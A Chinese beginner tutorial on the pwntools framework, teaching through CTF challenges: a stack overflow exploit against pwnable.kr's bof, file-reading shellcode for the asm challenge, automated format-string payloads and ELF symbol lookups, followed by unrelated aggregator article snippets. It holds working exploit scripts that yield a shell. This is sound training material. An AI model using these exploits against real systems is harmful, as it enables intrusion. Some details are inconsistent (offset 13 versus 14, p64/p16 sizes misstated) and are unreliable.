一步一步学pwntools(适合新手)

pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。

Pwntools的“Hello World”

栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);    // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

pwntools脚本:

from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()

源码简洁明了,我们只需要将key改写成0xcafebabe。

现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。
remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

  • send(payload) 发送payload
  • sendline(payload)发送payload,并进行换行(末尾\n)
  • recvn(N) 接受 N(数字) 字符
  • recvline() 接收一行输出
  • recvlines(N) 接收 N(数字) 行输出
  • recvuntil(some_string)接收到 some_string 为止

在第三行中, p32() 可以让我们转换整数到小端序格式.p32转换4字节. p64p16 则分别转换 8 bit 和 2 bit 数字. c.sendline 将我们的payload发送到远程主机. "AAAA" * 14是我们到key的偏移量. Pwntools不能自动运算偏移量,用户需要自行计算。

最后,我们成功getshell了. 这时,你可能想发送命令进行交互. c.interactive()允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .
在这里插入图片描述

写 Shellcode

下一题是pwnable.krasm. 你需要用ssh -p2222 asm@pwnable.kr并输入密码 guest 来查看可执行文件和源码. 这里,我们只展示利用代码:

from pwn import *p = process("./asm")
context.log_level = 'DEBUG'
gdb.attach(p)context(arch='amd64', os='linux')shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())

我们这里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
processremote 类似.remote连接远程主机, process则通过你声明的二进制文件路径在本地创建新的进程. 除了 I/O, process返回的对象可以通过 gdb.attach(p) 将进程attach到gdb上. Attach 之后, gdb 便可以调试该程序来 (设置 breakpoints, 查看 stack, 以及简单的反汇编).
在这里插入图片描述

提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安装并运行 tmux.

当我们想查看服务器输出时,并不需要在每个recvline或者recvuntil前加 print. 当 context.log_level被设置为 "DEBUG" , 我们的输入和服务器的输出会被直接输出.

shellcraft 是一个帮忙生成shellcode的类. 在我们的例子中, 我们 open 了一个文件并 read 文件到 stdout.

格式化漏洞自动化

我没有找到一个比较容易做的格式化漏洞题目,所以干脆用了官方文档的例子

from pwn import *
import tempfileprogram = tempfile.mktemp()
source  = program + ".c"
write(source, '''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{char buff[1024];void *ptr = NULL;int *my_var = TARGET;ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if(ptr != MEMORY_ADDRESS){perror("mmap");return EXIT_FAILURE;}*my_var = 0x41414141;write(1, &my_var, sizeof(int *));scanf("%s", buff);dprintf(2, buff);write(1, my_var, sizeof(int));return 0;
}''')
cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
process(cmdline).wait_for_close()
def exec_fmt(payload):p = process(program)p.sendline(payload)return p.recvall()autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p = process(program, stderr=PIPE)
addr = u32(p.recv(4))
payload = fmtstr_payload(offset, {addr: 0x1337babe})
p.sendline(payload)
print hex(unpack(p.recv(4)))

有了 FmtStr, 我们不用算偏移量算到疯. 我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到autofmt. 这个对象包含offset, 即算好的偏移量. fmtstr_payload(offset, {address: value})帮我们生成最后的payload. 第一个参数 offsetautofmt.offset 算好的即可. 然后, 我们需要声明{address: value}来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}.

使用 ELF()

有些题目给了我们libc. 用 gdb> x function1 — function2算偏移量太麻烦了, 因此有了 ELF.

from pwn import *e = ELF('./example_file')
print hex(e.address)  # 0x400000
print hex(e.symbols['write']) # 0x401680
print hex(e.got['write']) # 0x60b070
print hex(e.plt['write']) # 0x401680
offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh

process() 一样, 我们只用将路径给ELF(path) 即可分析 ELF.

我们有以下几种方法操纵ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function']找到 a_function 的 plt
  • next(e.search(“some_characters”))找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.

总结

Pwntools 是一套十分强大的工具. 在本文中, 我介绍了最常用的几个api, 但 pwntools 还有很多其他强大的api,诸如 qemu, adb. 各位可通过官方文档进行剩余的学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380051.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

标志寄存器:CF、PF、AF、ZF、SF、TF、DF、OF

注&#xff1a;下面说到的标志寄存器都是缩写&#xff0c;C就是CF&#xff0c;其他也一样 标志寄存器&#xff1a;C、P、A、Z、S、T、D、O的内容只会是0或1&#xff0c;0表示假&#xff0c;1表示真 O&#xff1a;溢出标志 一个寄存器如果存放的值超过所能表示的范围&#xf…

Firefox2狂占CPU解决办法

https://images.cnblogs.com/cnblogs_com/Tisty/138006/o_firefox3.jpg 看了一下&#xff0c;不知道 "jpeg_free_large" 是干啥的&#xff0c;遂用 "Firefox jpeg_free_large" Google 一下&#xff0c;出来的一堆东西里有帖子说可能和 Apple 的 QuickTime …

PUSHAD和POPAD,以及PUSHA和POPA

PUSHAD PUSHAD也叫保护现场&#xff0c;就是把我们的寄存器压入栈中 pushad是把eax&#xff0c;ecx&#xff0c;edx&#xff0c;ebx&#xff0c;esp、ebp&#xff0c;esi&#xff0c;edi依次压入栈中&#xff0c;ESP会减少32&#xff0c;相当于&#xff1a; push eax push ec…

MOVSX和MOVZX

MOVSX 先符号扩展,再传送 格式&#xff1a; MOVSX 操作数A &#xff0c;操作数B //操作数B的空间小于A比如说我们使用命令&#xff1a; movsx eax&#xff0c;bxbx是16位&#xff0c;eax是32位&#xff0c;传值过程&#xff1a; 先用bx的符号位把eax高16填满&#xff0c;b…

LEA与XCHG

LEA 格式&#xff1a; LEA 通用寄存器 内存地址功能&#xff1a;取地址命令 将内存地址赋值给寄存器 lea eax,dword ptr ds:[ecx0x16]dword 双字 就是四个字节ptr pointer缩写 即指针ds 数据段版寄存器[]里的数据是一个地址值&#xff0c;这个地址指向一个双字型数据 将dwo…

ADC和SBB命令

ADC 带进位加法指令 用法&#xff1a; adc 操作数1&#xff0c;操作数2相当于&#xff1a; 操作数1操作数2进位标志CF->操作数1现在的eax是0&#xff0c;C1&#xff0c;用adc指令直接会是0x6 SBB 带进位减法指令 用法&#xff1a; sbb 操作数1&#xff0c;操作数2相当…

mul和div指令(8位,16位,32位)

MUL 无符号乘法指令&#xff0c;默认操作数与eax相乘&#xff08;这里只说32位&#xff0c;其他与下面的div类似&#xff09; 格式&#xff1a; mul 操作数 //操作数只有一个操作数与eax相乘&#xff0c;结果共有16位&#xff08;这里的16位是16进制数&#xff09;&#xff…

imul和idiv指令

imul 有符号乘法指令&#xff0c;分单操作数&#xff0c;双操作数和但操作数 单操作数&#xff1a;此形式与mul指令使用完全相同&#xff0c;操作数乘以al、ax、或eax寄存器中的值&#xff0c;乘积分别存储到ax、dx&#xff1a;ax或edx&#xff1a;eax中 执行指令&#xff1a…

Ajax的注册应用

最近发现Ajax在用户注册表单和用户登录表单方面应用&#xff0c;最能体现Ajax的交互特点&#xff0c;因此又是写了一个习作&#xff01; 演示效果 新开窗口地址&#xff1a; http://www.klstudio.com/demo/ajax/reg.htm 下载地址:http://www.klstudio.com/demo/ajax/reg.rar &…

XADD和NEG命令

XADD 交换相加指令&#xff0c;先交换然后相加 比如说&#xff1a; xadd eax&#xff0c;ecx /* 相当于&#xff1a;先执行&#xff1a;xchg eax,ecx然后执行&#xff1a;add eax,ecx */此时eax2&#xff0c;ecx3&#xff0c;执行完&#xff1a;eax5&#xff0c;ecx2 neg …

Java——File类

一&#xff0c;File类的概述和构造方法 A&#xff1a;file类的概述 file类可以理解成一个路径 文件夹或者是文件夹路径 路径分为绝对路径和相对路径 绝对路径是一个固定的路径&#xff0c;从盘符开始 这里的G&#xff1a;\TIM 就是一个绝对路径&#xff0c;是一个固定的路…

vue3 配置 @符号

config,ts 配置 有 爆红 安装 npm install 一下 然后 配置 路径提示功能 tsconfig.json 配置 路径提示功能 一共这两个路径配置

mts模式_MTS的完整形式是什么?

mts模式MTS&#xff1a;Microsoft Transaction Server /移动电话服务/多通道电视声音 (MTS: Microsoft Transaction Server/ Mobile Telephone Service/ Multichannel Television Sound) 1)MTS&#xff1a;Microsoft Transaction Server (1) MTS: Microsoft Transaction Server…

Java——IO流

一&#xff0c;IO流常识 Ⅰ&#xff0c;IO流的概述 1&#xff0c;IO流用来处理设备之间的数据传输 2&#xff0c;Java对数据的操作都是通过流的方式 3&#xff0c;Java用于操作流的类都在IO包中 4&#xff0c;流 按流向分为&#xff1a; ①输入流 ②输出流 5&#xff0…

《软件》2011年第6期刊登出 《DB 查询分析器》中断SQL语句的执行

《软件》编辑部寄来了2011年第6期样刊&#xff0c;在2011年第6期&#xff0c;刊登出了本人的论文------“《DB 查询分析器》中断SQL语句的执行”。 论文刊登在第42页&#xff0c;排在第13篇&#xff0c;还比较靠前&#xff0c;呵呵。 在“万方数据”和“中国期刊全文数据库”中…

ret2libc过地址随机化

程序&#xff1a; #include<stdio.h> char buf2[10] "this is buf2"; void vul() {char buf1[10];gets(buf1); } void main() {write(1,"sinxx",5);vul(); }很明显&#xff0c;gets函数存在溢出 编译&#xff1a; gcc -no-pie -fno-stack-protect…

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00 免杀能力一览表 几点说明&#xff1a; 1、表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家…

WPF界面设计技巧(2)—自定义漂亮的按钮样式

上次做了个很酷的不规则窗体&#xff0c;这次我们来弄点好看的按钮出来&#xff0c;此次将采用纯代码来设计按钮样式&#xff0c;不需要 Microsoft Expression Design 辅助了。 首先打开 Microsoft Visual Studio 2008 &#xff0c;新建一个WPF项目&#xff0c;在上面随便放几个…

ropgadgets与ret2syscall技术原理

程序&#xff1a; #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int…

PHP中单引号和双引号的区别

0x01 单引号 单引号里面的内容不会被解释&#xff0c;不管什么内容&#xff0c;都当做字符串处理 <?php$abc1234; $stradc$abc; echo $str;输出 0x02 双引号 双引号里面的内容会被解释&#xff0c;像一些换行&#xff08;\n)、数据元素等都会被解释 <?php$abc1234;…